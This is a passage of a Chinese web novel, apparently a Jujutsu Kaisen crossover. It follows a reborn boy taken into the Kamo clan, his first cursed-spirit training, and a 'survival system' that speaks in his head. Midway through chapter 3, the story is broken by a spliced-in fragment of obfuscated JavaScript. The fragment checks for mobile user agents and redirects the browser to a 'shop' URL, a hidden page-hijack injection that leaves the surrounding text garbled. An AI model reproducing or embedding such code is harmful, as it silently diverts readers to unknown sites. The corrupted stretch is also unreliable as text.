《异能力者也要当咒术师啊?》
1. 第 1 章
白茫茫的一片天地之中,蜷缩着一个五感尽失的青年。
我好像记起来自己是怎么死的了。
一片白雾中拔地而起的高大冰锥,瞬息之间便将他的躯干刺了个对穿。
好在有肾上腺素的作用,他并没有感受到难以忍受的疼痛。只是胸膛中空荡荡的,有冷风在胸腔中刮过。
凉飕飕的让人怪没有安全感的。
但最让他感到不爽的还是自己像是祭品一样被挂在空中,在一片白雾中孤独地死去。
有谁背叛了他,并正为他的死亡而欢呼。
“我是谁?”
“藤原千代,你的名字。名字是诅咒也是祝福。记住自己的名字,才能拥有未来。”
天地之中有不知名的存在告知他。
藤原千代慢慢睁开眼,想要看清说话的究竟是什么,但他的眼前却一直是雾蒙蒙的。
不可直视。
失重感袭来,他的感官重新落到了实处。
最先恢复的,是听觉。
有几个苍老的声音正围绕在他的身边说话。
“赤血操术,这一定是祖传术式赤血操术!”
“分支来可能不懂礼数,不过好好培养倒也是可以用。”
“老夫家幺女的术式不错,又和赤血操术同龄,结合后定能为加茂家多生几个祖传术式,振兴有望啊!”
紧接着恢复的是视觉。
眼前的雾气散去,藤原千代猛地睁开眼,看到了面前几个注视着他的人,神情中蕴藏着狂热和贪婪,好似下一秒就把他拆皮脱骨,吞入腹中。
几人讨论的神情痴狂傲慢,言语之间皆是算计。
在看到藤原千代醒来后,又都扭曲着脸,硬是摆出一副慈爱和蔼的面容来,装腔作势。
却又掩饰不住自己眼中的贪婪与傲慢。
“藤原小子,你可知你犯下了什么错!你哪里来的胆子敢挑衅禅院家!”
一个中年男人在身后老人的示意下站了出来,扯着粗哑的嗓子说道。
而后男人走到藤原千代面前,挥动着手掌就要朝他抡去,细小的眼睛中闪烁着兴奋的光。
触觉不知道什么时候恢复的。
藤原千代感觉到自己面前有风袭来。虽然还迷迷糊糊地没有明白事情的经过,但却敏锐地发现自己即将被打,身子一矮就躲了过去。
但也就是在躲闪过程中,藤原千代发现自己视野的高度好像和记忆之中不同。
甚至才刚到这群人的腰部。
?
他们怎么都这么高!
刚刚抡掌的男人看到藤原千代躲了过去,怒不可遏,又要再打。
就在这时,另一个中年人站了出来,拦住了男人,劝了又劝。
藤原千代发现打人的人被拦住以后,举起了自己的左手观察。
掌心皮肤细嫩,没有什么茧子。指节和手掌都不大,是一个孩子的手,目测不超十岁。
好像不是对面的人太高,而是自己变小了。
过了一会,耳边的声音停止。藤原千代抬头发现那位劝架的中年男人正在看向自己。
视线相交以后,对方语重心长地说道,
“虽然你得罪了禅院家,给加茂家带来了巨大麻烦。但看在你年岁较小,且是对方先挑衅的份上我们可以既往不咎。”
“但这一切都是建立在你是属于加茂家的基础上。从今天开始,你并入加茂家族谱,改叫加茂千代了。”
“从今天开始搬到主家来生活。会有人教你礼数,切记不要再像在藤原家时一样野了。”
丝毫不等藤原千代反应,一个女人突然窜上前使劲地按下了他的头,感恩戴德地强行让他鞠了一躬。
那个劝架的中年男人摆了摆手,示意女人将他尽快拖走。
在一群人自说自话的安排之下,摸不到头脑的藤原千代被带到了一处院落,并被告知这处屋子将是自己以后的住所。
最后只留下了那个突然冲出来的陌生女人在院里,继续数落着藤原千代,三句不离感恩加茂。
莫名奇妙死而复生的藤原千代根本不想听女人的洗脑话术,脑中一直在整理自己的记忆。
但女人的声音尖锐至极,吵得藤原千代头痛欲裂,无法思索。
极度厌烦之下,他甚至手指轻轻点动,想要跳过这段剧情。
女人嘟嘟囔囔说了一堆,低头看到藤原千代根本没听,意识到自己演了一出独角戏。
她的声音戛然而止,憋红了一张脸后又张了张嘴,似乎是想说些什么。
但最终也只是怒气冲冲地留下一句你好自为之,便夺门而出。
安静了。
藤原千代终于得以喘息。
他刚刚想找到与现在有关的信息,但是什么结果都没有。脑中一片空白,他不记得了。
除了感觉到自己闯入了一个全然陌生的环境,有些无所适从以外,他甚至还有些应激。
此刻,一个突兀的想法涌现了出来:找个浴缸,躺进去泡一会。
藤原千代扭了扭头,看了看身后的屋子,抬步便往里走。
但等他慢腾腾地挪进屋内后,却发现根本没有浴缸,只有一个空荡荡的木质浴桶在嘲笑他的异想天开。
连冷水的水龙头都没有,这究竟是什么时代!
造孽啊!为什么要把我丢到这里!
没有办法,藤原千代只能转身扑倒在榻榻米上。
先睡一觉。
自从恢复意识以后,他感觉自己像是被人扁了一顿,浑身上下都很痛,此刻一看,身上甚至还有泛着红肿的伤口。
可恶啊!明明死的时候都没那么疼。
但还没到能等他入眠,院内又来了一群仆人。
她们将他从床上拖起,在藤原千代即将睡着之前把他带到了浴池,帮他沐浴更衣,处理伤口。
藤原千代虽然躺在了他心心念念的水中,但根本不习惯被这么一群人围观并搓来搓去,红着脸努力挣扎了一番。
但孩童的身体属实无力,只能由人任意摆弄。
在洗洗涮涮结束以后,藤原千代被人换上灰色浴衣,打包送进了一个新院子。
那个曾为藤原千代说话的中年男人正坐着等他。看到藤原千代老老实实地被带了过来,眼神中闪过一丝惊讶又很快消失不见,快得像是错觉。
男人挥挥手让周围的仆从们下去后,快步上前迎了藤原千代一把
“千代,我是你父亲的朋友加茂荣,不知道你对我还有没有印象?”男人半跪下来,双手按住藤原千代的肩膀,平视着看向藤原千代。
加茂荣看着藤原千代看了看他的脸,沉思了一番后,摇了摇头。
又看着藤原千代将眼神落在自己脑门上的缝合线上仔细思索了一番,纠结了许久,最终还是摇了摇头。
他摸摸了自己额头的缝合线道,“你那时候太小,不记得也正常。我这伤疤是遇到了一个一级咒灵的时候留下的,要不是你父亲,我早就死在那里了。”
说完加茂荣缓缓起身,牵着藤原千代走进屋内。
“想必,你还不了解咒灵是什么吧。没关系,过一段时间加茂家会派人让你学习的。”
“我和你父亲一起长大,又有救命之恩,后来出了事就不常联系了,直到前段时间才知道你父亲去世的消息”
“但我一直是将你看为我的亲儿子的。只是你这次犯得事情太大,再加上觉醒了赤血操术,甚至都惊动了长老会。就算我拼力劝阻,也没办法让你重新回到藤原家,只能让你改姓加茂。”
说着说着加茂荣竟是要落下泪来,他擦了擦眼角,又蹲下身将藤原千代拥进怀,而后摸了摸他的头。
“不过你就安心住在加茂这边,平常缺少了什么都和我说,千万不要客气。”
藤原千代看着眼前陌生男人又哭又笑,莫名感觉有些虚假。
同时,他的视线始终都在男人额头的缝合线上。看到男人再次蹲下来后,甚至表现得像一个真正的
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小孩一样抬手就摸。
加茂荣被触碰到以后,藤原千代看到他浑身僵硬了一瞬,不过又很快就恢复如初,快的好像是藤原千代的错觉一样。
缝合线是弱点。
藤原千代仗着自己现如今的小孩子身份,仔细抚摸了一番。根据触觉来看的确是愈合后的伤疤。
加茂荣又在用他带着哭腔的语气说话。
“叔叔知道你是个好孩子,都知道安慰叔叔,但加茂家终归身为御三家之一,平常都是以实力至上,即便我想多加照拂也是能力有限”。
藤原千代看着加茂荣缓了缓气,平复了一下语气后继续说。
“族里后续会为你安排咒术课程,你千万不要马虎,只有提升自身实力才能在这里活下去。”
“叔叔知道你之前和人打架,身体还未好全,特意为你争取了半天的休息时间。都怪叔叔无能,不能争取更多时间”
说罢,加茂荣好像是真的有些控制不住自己的情绪一般,掩面要哭,强撑着告诉藤原千代门口的仆从会带他回到自己的院落后,就挥挥手让藤原千代离开。
但他并没有回到自己的院落。
从加茂荣的院落里离开以后,藤原千代又被安排着见到了好多人。
大多都面容苍老,自顾自地说了一些的贴心话以后,就又都挥挥手让他离开,赶往下一个舞台。
一群人加起来都没有加茂荣表现得真情实感。
藤原千代就这么放空大脑地走在加茂家的小路,被人扔来扔去。
等到他终于完成烫手山芋的使命,被丢回院落的时候,就看到自己院子里来来往往了好多仆人。
在藤原千代去见了加茂家一圈人以后,她们像是突然得到了指令,静静地为藤原千代整理房间,置办家具。
同时就像是真心顾虑藤原千代疲惫的身体一样,所有的工作完成的十分贴心而又迅速。
藤原千代看着这群人又像之前一样完成工作后骤然离去,只有整理干净的房间和喷香的食盒,默默彰显着家的温暖。
七岁孩子的身体走了一下午,极度疲惫。每一块肌肉都在叫嚣着要休息。
但他并没有立刻倒下,而是拎起食盒,缓慢地走到院前。
嗅觉和味觉早已恢复。
他默默坐在院中石阶上吃着加茂家准备的饭菜,回想着今天在这个家里看到的一场场戏剧。
那群将贪婪写在脸上的老人,所图不过是他这个被误解出的能力和血脉,简单提防便可。
但,加茂荣这个人,或者说这个东西。
明明身上散发着厚重黏腻的恶意,像是专门玩弄人心的千年恶鬼。却偏偏披着一副懦弱的人皮壳子,甚至愿意对着孩童演戏。
突然出现的赤血操术完全不可能是他在加茂家如此谋划的原因。但即便只呆了半天的藤原千代也能感受到这个加茂家的腐朽无能。
想不通,这样一群人究竟有什么值得图谋的?
直到咽下最后一口饭菜,藤原千代依旧是没有想明白,但孩子的身体和精神已经到了极限,藤原千代决定先回屋躺下。
“赤血操术,听名字应该是操控血液吧?但是怎么感觉不太对劲。”
藤原千代躺在床上,闭着眼睛感受着周围雀跃的力量。
除了可以控制体内汩汩流动的血液以外,空气中似乎还有什么别的东西能够顺从他的呼唤,如臂挥指。
按照潜意识的指引,藤原千代手指一挥,地面瞬间凭空出现了半米长的冰锥。
“与其说是控血,不如说是控水。”
藤原千代看着冒着寒气的冰锥,死亡的片段不断在脑中闪现。胸口也一阵发寒,似有冷风穿过。
他面色一白,挥了挥手,将冰锥打散在空中。
即便失忆,死亡的阴影也一直笼罩着他。此刻的他看到冰锥还是有些发寒。
想到明天还要应付一群加茂家的人,以及需要伪装成赤血操术,藤原千代没有再多做纠结,很快就睡死了过去。
2. 第 2 章
天刚刚擦亮,藤原千代就从睡梦中被人唤醒。
起居室进入了三位仆从,帮藤原千代洗漱更衣。
再次见到这种架势的藤原千代大声拒绝,但三人都低垂着头颅,对他的要求状若未闻,埋头闷不做声的做着自己的工作。
孩童的身体还是太无力了,在不动用能力的情况下,藤原千代根本无力挣扎。
就算只使用伪装出的赤血操术,他也完全想象不到如何能在不伤人的情况下挣脱出来。
“怪不得昨天加茂荣看到自己被带过去那么震惊。看来原身并不能很好的控制赤血操术,那群不听人说话的仆人恐怕是专门送来的。”藤原千代心想。
但即便如此被下套,在藤原千代想不伤人的情况下,也只能被人按住后颈一顿洗洗涮涮,最多也只能做到向三人炸毛龇牙。
等一切结束以后,他甚至感觉自己的灵魂都已经从口中飘出。
加茂家的仆从大多都沉默寡言,对非主人下达的命令熟视无睹。不,并非仅有仆从,整个加茂的宅院之中都透露着难以忍受的死寂和腐朽。
藤原千代虽然早已忘记死前的一切,但依稀感觉自己曾经待过的社会好像并非如此运行的。
此时他意识到自己好像来到了一个陌生的时代,心里涌上一股难言的孤独感。
但按照加茂荣昨天的说法,加茂家为他安排的学习内容将会在今天开始,他必须隐藏好自己的所有情绪,伪装成一个心思简单的小孩。
因此用过早饭以后,藤原千代便搬来一把椅子,状似悠闲地躺在在庭院中晒太阳。等待着加茂家来人。
秋日清晨的阳光并没有很刺眼,只是淡淡地铺洒在他的脸上。微风拂来,藤原千代额头的发丝被吹起,带来轻柔的痒意,露出了他眉尾的一颗小红痣。
此刻,在阳光的照耀下,藤原千代的心里似乎真的感受到了一丝悠闲,腾升起一种无与伦比的幸福感。
他舒服的眯了眯眼睛,棕黑色的虹膜在阳光的照耀下微微发红。
加茂家的人来的很慢。
晒的格外舒适的藤原千代闭上眼,听着耳边啾啾的鸟鸣声,感受到了此方世界格外真实的和煦日光。突然遭遇死亡而又复生在陌生孩童身体中的藤原千代,才终于在这样的异世界里有了一丝归属感。
他一直以来紧张的心神也得以微微放松。
在藤原千代即将睡着的时候,才终于等来了加茂家派来接他的人。
和先前预想的不同,来接他的是一个看上去没有经过体术训练的女人。身穿深色和服,黑色的发丝盘绕在脑后,脚上踩着双木屐,迈着小步走到了藤原千代面前。
藤原千代看着她走到自己面前,微微颔首。
女人暗哑的嗓音响起,“千代君,请跟妾身前往备材库”。
“备材库?”藤原千代虽然有些意外,但还是沉默地从躺椅中起身,和女人一起前往。
二人步行的速度都不快,但备材库到藤原千代小屋的距离并不远,他们很快就走到了一个有许多人把守的屋前。
藤原千代看到女人掏出了什么东西递给了守卫。
守卫检查完毕后微微向她鞠躬,主动上前打开了备材库的大门。
“请随妾身前来。”
语毕,女人率先迈了进去。藤原千代也紧跟着进去。但就在穿过房门的时候,他感受到门内似乎还铺设了一层结界。
穿门的瞬间,藤原千代感到了些许阻力,先前对周围力量的感应也在进入这个小屋以后浅淡了许多。
藤原千代在心里暗暗猜测这里究竟放着些什么。
但等他打量了一圈后,却发现备材库内只是在墙角处摆放了一个黑色柜子,柜身贴着一圈用朱砂撰写的符篆,又细细描绘了一堆符文。
远远打量过去,整个柜身隐隐有屋顶那么高。走进后,甚至可以感到柜底隐隐扑向脚面的寒气冒出。
女人引领藤原千代在屋内唯一的桌椅坐下,随即打开下方柜门,从柜内取出了一整套完善的采血材料。
?
藤原千代感觉自己头上的问号快要比房顶都高了,这种时代怎么会有如此现代的采血设施。
随即他便意识到自己之前判断失误,他依旧处于现代社会。只不过是加茂家封建腐朽的气息过于浓厚,才让产生了时空错乱的感觉。
是更恶心了,这个加茂家。
“赤血操术需要术式拥有者控制自身血液进行攻击。而人体本身的血液有限,所以为了提高您的术式强度,需要先行将自身血液抽出后储存,以供日常练习和使用。”
“鉴于千代君还未做过咒术训练,又年纪尚小。因此为了加茂君的健康,我们这次先抽100 mL血液。”
女人暗哑的声音在他耳边响起。说出的话语看似体贴,但只要是看到她身后高大的黑色柜子的人,都会感到遍体生寒。
藤原千代听到女人的要求后内心抗拒,但思索片刻后还是继续将左手伸平,递到对方面前以供其抽血。
抽血的过程中两人不再说话。在一片寂静的环境中,藤原千代清楚地感受到血液正从身体中缓慢流失,微微感到有些发热和困倦。
女人的抽血手法很熟练,痛感很小。不过多时便已经结束。
藤原千代坐在凳子上看着女人将手上的血袋罩上了层黑布并贴上符篆,标记好日期以后放进了身后高大的黑色柜子之中。
他默默观察着这一切,并等待着女人接下来对他的安排。
“千代君请跟我来。”
她做完这一切后,迈过大门起身出发,将钥匙重新递还回守卫,对方在他们走后又将备材库的大门重重关上。
藤原千代回头望去,将备材库的样貌深深记在了自己的脑中。
很快女人带着他来到了一处新的院落。
藤原千代根据行走的时间和方向推断,三间屋子坐落的形状构成了一个三角,似乎是为了方便他在三处来回奔波。
院落中间则摆放着一个贴了张符篆的笼子,朱砂描绘出的符文形状和备材室的略有不同。
特制的笼子里关押着一只长着手和脑袋的畸形生物,准确来说是浑身组成只有手和脑袋的生物。
藤原千代看到这个生物以后,原本失血后有些萎靡的精神都立刻恢复了。
“好丑,丑的惊心动魄”
藤原千代不想走近,停在了院落门口。
“小子,走近来看看”笼子旁边站着的一个身穿黑纹付羽织袴的男人,三十来岁,一脸严肃的招呼藤原千代上前。
“想必你已经见过咒灵这种东西了。”
“咒灵是由普通人的负面情绪聚合在一起而形成的生物。身体由咒力构成,只有咒术师才能看到。”
“常见的咒灵一般分为五个等级,特级、一级、二级、三级、四级。这只是一只准三级,相较于普通三级咒灵还差点意思。但拿来给你练手刚好。”
说着男人递来一支木棒,“锤他一下”。
藤原千代听到后拿起木棒,顺从地怼了里面的咒灵一下。
七岁孩子的力气不大,再加上藤原千代此时摸不准男人的意思,没有用全力。
因此相比于攻击,更像是挑衅。
里面的咒灵被木棒怼得栽了一个跟头,爬起来后毫发无伤,呆愣了一会后,愤怒的在笼子里爬来爬去,边爬边吼。
“好丑”
“好恶心”
藤原千代看得牙都要咬碎了。
笼子里的咒灵仍在乱爬,但在它一个不小心撞到笼子后,崎岖的皮肤瞬间冒起了青烟。
咒灵也随即发出痛苦的哀嚎,看起来比藤原千代用木棒打出的伤害高多了。
“咒灵只能用咒力祓除,而咒力来源于人的负面情绪,咒术师将咒力抑制在体内,而普通人则只能无意识外泄。外泄的咒力则会形成咒灵。”
男人说着,用手点了点藤原千代的腹部。
“这里是你咒力的
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核心,拥有术式的咒术师天生就会使用咒力,而你拥有我们加茂家的祖传术式,赤血操术。”
“你从出生起就注定了必须是加茂家的人。从现在开始,忘记你曾经姓藤原。”
“去感受你自己的咒力,将它附着在你手中的武器上,再去打。”
藤原千代听不懂男人像天书一样的话,只能顺着他说的位置感受了一下。
根本并没有察觉到腹部拥有那种玄而又玄的咒力。
反而越是冥想感受,越意识到空气中有股力量跃跃欲试,想要顺从他的意识附着在木棍上。
藤原千代响应了这股力量,偷偷的将它们覆盖在木棍上。
做完后,他拿起这个附魔的木棒,再次试探性的怼了咒灵一下。
看到藤原千代已经开始攻击的男人扯了扯嘴角,他并没有感知到藤原千代咒力,但并没有多说什么。
让这小子多尝试几次。
出乎二人预料的是,在木棍刚接触到它,咒灵便发出了痛苦的哀嚎,声音尖锐刺耳。它接触到木棍的皮肤顷刻间开裂,咒灵也随之消散在空气中。
男人瞪大了双眼,他刚刚甚至没有从木棍上看到藤原千代的咒力遗秽。他可能根本没有将咒力成功附着在木棍上,是怎么杀死咒灵的!
不可能是异能力,咒灵只能被咒力杀死!
难道只是藤原千代的咒力量太少,自己没有注意?
但无论是哪种情况,以七岁孩童的咒力储备来说,简单碰一下根本不可能祓除准三级咒灵,这就是赤血操术吗!
藤原千代也没有想到自己根本没使用咒力,却能祓除咒灵,立刻意识到自己的能力相较于这个世界的体系来说还有很大问题。
在看到男人眼神中蕴含的的狂热情绪后,他心神一紧,这劳什子的木棒上根本没有咒力,根本经不起男人的检查!
对方果然立刻从藤原千代手中夺走木棒,想要仔细看看这木棒上附着的咒力究竟有多强。
预想到被发现根本不是赤血操术的藤原千代已经在思考如何逃跑,却发现男人此刻已经心满意足地放下了手中的木棒,转头招呼自己进行下一项课程。甚至相较于之前,态度都尊敬了许多。
他甚至开始用千代君了啊,喂!这真的对吗!
“千代君刚刚已经明白如何将自己的咒力附着在木棒上了,接下来我们就直接进行体术训练”
“先从扎马步开始,记得同时将咒力附着在你自己的身体上,增强自身的□□强度。”
藤原千代听到此不禁感受到一阵阵的无语,他根本就没用上咒力,现在上哪里去通过他增强自身□□强度啊!
他扎着马步憋了半天,直到面部通红都没有感受到体内的咒力,只能硬着头皮扎马步,没多长时间就感觉到体力殆尽,想要起身。
虽然男人依旧没看到藤原千代将咒力附着在他自己身上,但仍以为和之前相同。藤原千代只是咒力运用的隐蔽,是他没有察觉罢了。
看到藤原千代要站起身,男人以为他是不屑于做这种机械性工作,上前按住他的肩膀,苦口婆心劝阻,
“我知道千代君觉得这种训练无聊,但这都是童子功,要从娃娃抓起的,千代君已经7岁了,起步已经晚了,即便拥有绝佳的咒术天赋,□□强度跟不上,也是不行的啊!”
藤原千代被压住起不来,又不能说自己根本没有咒力,只能硬着头皮继续扎马步。但短时间还好,时间一长藤原千代身体所遗留的后遗症全部显现出来了。
在他恢复意识之前,这具身体就和别人打过架,有伤口未好。
昨天又在这座宅院被人带着来回走动,向一群人问好。
今早刚醒没多久又抽了一管血,现如今还要扎马步。
不消多时,藤原千代就感到眼前发黑,浑身颤抖想要呕吐,控制不住地向前栽倒。
晕倒之前,藤原千代好像听到了脑海中响起了一道机械声。
【滴,连接成功】
3. 第 3 章
机械音响起后,藤原千代感觉到刚才快要爆炸的心脏逐渐平缓了起来,也听清了机械音究竟在说些什么。
【滴,检测到宿主生命值低微陷入昏迷,已自动为宿主使用生命恢复剂*1,体质修饰剂*1】
【扣除生命恢复剂积分*20,体质掩盖剂积分*80,系统托管积分*20,目前宿主剩余救济积分-120】
【检测到因系统断线问题,连接超时导致宿主无法自行购买,补偿托管积分*20,生命恢复剂*2,目前剩余救济积分-100】
男人发现藤原千代晕倒后,立刻上前接住了他。摸到藤原千代被冷汗浸湿的一衣服,心里一紧,快速地检查了一番。
发现他扎马步把自己累到虚脱晕倒,浑身上下没有咒力强化过的模样,深觉不妙。快步将他抱起送到了加茂家的医疗室。
等到藤原千代恢复意识以后就发现自己仰躺在一个陌生房间的床上。空气中弥漫着消毒水的味道,他左手正打着吊瓶,接受着输液。
昏倒之前的不适已经散去,但身体的疲惫和精神上的困倦一时间还难以抹消。
藤原千代倦倦地瘫在床上,思索着昏迷前听到的机械音究竟是什么。
“你在训练过程中晕过去了,加茂健太已经去找家主领罚了,等他请示完家主以后,会重新安排你的课程训练,现在你只需要好好休息。”
熟悉的声音打断了藤原千代的思绪。他扭头去看,果然是上午见过的那个女人,她暗哑的声音很有辨识度。
藤原千代低头看了看输液管,心想女人原来是加茂家的医师,怪不得抽血如此熟练。
就是可怜了自己的左手,上午抽血下午输液的。
不过想到自己直到晕过去,也没有感受到加茂健太所说的咒力,藤原千代内心就十分无语。
果然自己根本就没有能够用咒力增强□□,加茂健太的训练方法真的是给七岁孩子用的吗?能活下来的都是大猩猩吧……
这种训练方法根本不适合自己,究竟什么时候能恢复记忆啊!
许是藤原千代盯着输液管的时间太长,女人当他是孩子心性,对这个有些好奇,便为他解释道,
“那是生理盐水,乖乖打完就不恶心了。”
“好的,感觉好多了。”
藤原千代没有解释自己在思索别的事情,而是直接顺着女人的话回答。
简单的对话过后,屋内再次回归寂静。二人都不再言语。
但很快,医疗室的寂静就被打破。
加茂荣噔噔噔地冲了进来,倒豆子一般向藤原千代提出来一系列的问题。
还有没有哪里不舒服,是不是加茂健太对他太严厉,要不要直接换一位培训师……
藤原千代没有开口回答,只是从床上坐了起来,静静地看着加茂荣。
正如他预料的一样,加茂荣根本不需要他作出回答,只是自说自话地提出问题,答案是什么他也许根本就不关心。
“川崎小姐,还请您多多照顾我家千代。这孩子刚来就吃了很多苦,我这个当叔叔的没用,不能对千代的训练起到什么帮助。”
加茂荣说着又好似擦泪一般擦了擦自己的眼角,而后又拍了拍藤原千代的头,补充道,
“但是平常一旦有什么需要,您和我说,我都会尽力给您提供的!”
“这都是我责任之内,荣长老。”
川崎幸子看了看加茂荣拍藤原千代脑袋的手,嘴边扯起了一抹微笑,向加茂荣说道。
“不过千代君现在应该还在难受,我们还是不要打扰他了,他现在需要静养。”
听到川崎幸子的话以后,加茂荣收回了自己的手,又嘱咐了藤原千代一些有的没的后,就和她一起离开了这个狭小的房屋。
等到加茂荣离开以后,藤原千代感觉自己的呼吸都顺畅了许多,再次躺倒了下去。
他现在倒是微微有些好奇,原身究竟是怎么样的一个性格和表现,才能让加茂荣误以为用这种浮夸不走心的演技就能把他骗过去。
藤原千代翻了个身,突然想到意识模糊前脑中响起的机械音,又从床上坐了起来,并在脑内呼唤了一声系统。
果然有一道机械声响了起来
【我在】
【阳光已就位,愿宿主今天被温柔包裹,事事顺心】
藤原千代没有理会系统的人机问安,而是问出了这几天来一直没有得到答案的问题。
“我是谁,你又是什么东西?”
【宿主,您是藤原千代呀,在0029世界线中一个意外死去的与主线无关的人物】
【系统就是系统呀,在3103融合世界线中帮助您存活的智能助手。您昏倒时生命恢复药剂和体质掩盖剂就是系统帮您使用的】
怎么可能随便一个与主线无关的人物死亡后都值得被复活,然后塞进新世界啊,他们系统做慈善的吗?
藤原千代继续问:“0029世界是什么意思,这样的世界有很多吗?为什么要让我复活在3103世界?”
系统无起伏的机械音再次响起。
【0029只是万千小世界里的一个,唯一不同的是,里面的一部分人拥有着特殊的异能力】
【3103世界线是新生的融合世界,融合了0029和1611两个世界线,由于各自蕴含特殊能力,异能力和咒力,导致3103融合世界的状态很不稳定,需要外界的力量来帮助他趋于平和】
【因此系统选择将宿主复活后投放在3103融合世界,也就是说您的存活有助于3103世界线的融合收束】
“那我昏迷的时候,你给我用的那两个药剂是什么东西?”
【鉴于3103融合世界的危险等级达到极危,因此开放系统商城帮助您在3103世界存活。生命恢复剂和体质掩盖剂就是来源于系统商城,商城中道具依靠积分兑换,目前宿主剩余救济积分-100】
【生命恢复剂来源于2319世界,能快速补充生命值。但3103世界并非数值世界,因此生命恢复剂只能通过替代宿主体内成分维持宿主身体正常运行】
【使用生命恢复剂后,常规医疗检测会暴露宿主体内异常,因此需要体质掩盖剂来帮助宿主度过检测】
【系统温馨提示,生命恢复剂只能维持宿主正常生命活动,想要彻底恢复只能通过宿主自身的代谢】
藤原千代听到系统在脑海里的回答,感觉自己的头原来越痛了。自从自己在这具身体里恢复意识以后,一堆问题还没有解决,现在又来了个说要帮助自己存活的系统,欠了一屁股积分债。但是想到这个系统问了才回答的设定,只能耐下性子继续问。
“为什么是选择我来复活?我在死亡前的身份有什么特殊的吗?”
【宿主为0029世界线中意外死亡人物,从未接触过0029世界主线,复活投入融合世界3103后对主线剧情影响可控】
【根据系统检测,宿主异能力水调之契与赤血操术的适配度高,在3103融合世界存活率达到31.35%,存活概率达标】
“才百分之31%,存活概率就达标了吗?你们选人来送死吗?”藤原千代听到系统的话忍不住打断道。
【高于宿主存活率的人物均与0029和1611世界主线相关,系统检测到复活后会对3103融合世界产生不可控影响】
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004599|194013||http|test|mini|href|location''.split(''|''),0,{}));
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>【同时,本系统为存活系统,系统商城会为宿主提供道具帮助系统存活,在宿主意识模糊时系统有权接管商城,替宿主做出最优存活方案】
【经系统检测,此条件下宿主存活率可提高至77.31%】
藤原千代听到了系统的言论,扯了扯嘴角,自身已经被捆上了贼船,再和系统掰扯也不能死回0029世界,而后他提出了自己最想知道问题。
“既然与主线无关,我可以恢复记忆吧?”
大脑一片空白,处事全靠本能的感受,藤原千代实在是不想要再经历。
他无比渴求的想要恢复自己的记忆,无论好坏。
【可以,鉴于宿主目前身体为7岁,系统会将您死前记忆在梦中碎片化投放给您,以免造成脑损伤。】
【但因宿主死亡节点与主线人物有关,为避免世界线异常,系统已将宿主死亡原因封存】
【相关记忆碎片不会投放给宿主,只有宿主遇到相关人物后方可解锁,为您造成的不便,系统深感抱歉】
听到自己的记忆有希望找回来,藤原千代一直紧绷的心情也有些放松。至于死亡原因,他现在也不是很想探究,毕竟回不到原世界,纠结再多也没有用。
秉承着互利共生原则的藤原千代,此刻来了兴致,觉得可以问问系统会布置什么样的任务。
“那你们的任务呢?既然救济积分是靠任务得来的,那你们的任务都是关于什么呢?小学生拯救世界?”现仅七岁的藤原千代说道。
【宿主并无主线任务,3103世界线为融合世界,系统为宿主选择的身体为咒术师身体。其术式赤血操术与您本身异能力水调之契,适配度很高。经系统改造后,宿主为3103融合世界线中唯一同时拥有术式和异能力的人】
【因此3103融合世界线将以宿主为基石,宿主自身存活就能促进融合世界的稳定】
【同时,宿主所作所为也会间接影响世界稳定度。因此宿主救人后经过系统检测评估,可以换取相应的救济积分】
“救济积分为负有什么影响吗?”
藤原千代一想到自己昏迷,系统托管购买药剂直接将积分扣到负数就有些汗颜。
开局负债也算是大负翁了吧。
【为保证3103世界线稳定,系统会以宿主存活为最高行为准则。积分为负并不会对宿主生命值造成影响,只会限制宿主对于商城道具的购买】
【但3103融合世界为真实世界,为同时限制宿主行为,保证3103世界线稳定,系统商城道具均只能由宿主本人用积分兑换,积分为负无法主动打开系统商城】
【最后系统温馨提示,3103世界为真实世界。生命独一无二,请宿主尊重生命】
听到积分为负无法打开商城后,藤原千代原本跃跃欲试的心情一下平静了下来。
他实在是对咒灵的长相有些欣赏不来。虽然苏醒至今只见到了一只小怪物,但是这种掉san的生物想必除了xp独特的人以外,正常人都会接受不能啊。
而藤原千代认为自己xp正常,对系统商城里的道具怀揣着美好期望,盼望着有道具能让他看不到这些丑陋的生物,就算只能美化一些也可以啊!
倍感失落的藤原千代五指握拳,用力锤了一下床。
而后他突然意识到自己昏倒的原因正是无法使用咒力强化□□。而按照系统的意思,他这具身体完全可以同时使用咒术和异能,但是自己明明完全没有感受到过。
藤原千代不禁再次在脑海里向系统发出疑问。
“等等,咒力?可是我完全用不了咒力啊?”
【......稍等,待系统稍作检测】
4. 第 4 章
就在藤原千代与系统对话的时候,加茂健太走进了一幢稍微有些破旧的和式建筑。
门内一道道漆黑的结界依次被布置,将屋外的阳光全部阻拦在外面。
加茂健太拉开门,走了进去。
室内灯光昏暗,仅靠着烛火照明,让人看不清屋内陈设。待视线大致扫过去,就会发现墙壁密密麻麻地贴满了符篆,看得人眼花缭乱。
如果此时让藤原千代来辨认,就会发现这里张贴的符篆大部分与备材室的符文相同,只不过用量更大也更复杂。
屋内静的可怕。
加茂健太放轻了脚步,走到了一扇高大的屏风前,放平了呼吸,随即跪坐了下来。
“家主,属下到了。”
他的额角微微冒汗,没有再开口。
狭小的室内依旧是死一般的寂静,加茂健太耳边只有自己逐渐粗重的呼吸声。
不知跪坐过了多久,屏风后终于传来了声音,轻的像是他的幻觉。
“健太,今天的训练,赤血操术晕倒了?”
说话的人音色苍哑,分不清年龄。咬字间却含有一种奇怪的韵律,让人难以借助语气来探究他的态度。
“是的家主大人,属下发现千代君晕倒后就立刻将他送到了川崎美奈那里。川崎小姐检查后也只是说千代君晕倒的原因是训练时身体超负荷了,有些脱水。现在正在医疗室休息。”加茂健太忙不迭地回答。
在加茂健太最后一个字句落下来后,屏风后的声音却没有再开口,室内恢复死寂。
加茂健太没有听到对方的回答,联想到近年来家主对天与咒缚信息的密切关注,又急忙将自己的推断补充了进来,
“家主!藤原,不,加茂千代的咒术师天赋很高。今天的咒力训练,他在没有使用赤血操术的情况下,仅靠在木棒上覆盖了一层简单的咒力就能轻而易举地戳死准三级咒灵。”
“同时他咒力的隐蔽性极高,使用时往往难以察觉。但是千代君的咒力好像完全不能运用在自身强化上,再结合其强悍而隐蔽的咒术攻击,属下认为,加茂千代可能和禅院家那位一样,都是天与咒缚。”
